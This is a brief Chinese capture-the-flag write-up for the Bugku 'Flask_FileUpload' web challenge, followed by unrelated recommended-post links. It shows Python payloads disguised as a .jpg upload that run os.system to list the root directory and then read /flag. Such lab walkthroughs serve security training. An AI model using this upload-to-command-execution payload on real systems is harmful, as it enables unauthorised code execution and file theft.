Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
LucianaiB1 小时前
【元宝搜索开发者征文大赛】AI时代，学得慢就不用学？用元宝搜索打造一个教程保质期，确保每一个教程符合你的现状excel1 小时前
JavaScript 对象池：减少高频对象创建与 GC 压力陈随易3 小时前
纯 Go 写的 JS 引擎，跑分超过了 C 语言的 QuickJS卷无止境4 小时前
RAGFlow 项目全景报告：从文档解析引擎到 Agent 原生数据库子兮曰5 小时前
Chrome 权限元素实战：144 与 151 的渐进增强写法IT_陈寒5 小时前
Redis连接池泄漏那次，我差点把生产环境搞崩了强尼银手5 小时前
我花一天做了个格斗游戏原型，判定全对，然后被「美术」劝退了灿飞屋5 小时前
Kotlin与Java虚拟机三：控制流benchmark_cc5 小时前
单只股票五档盘口接入个人研究仓库：QuantDash 读取、校验与易错点石小石Orz5 小时前
AI 正在蚕食我们的编码能力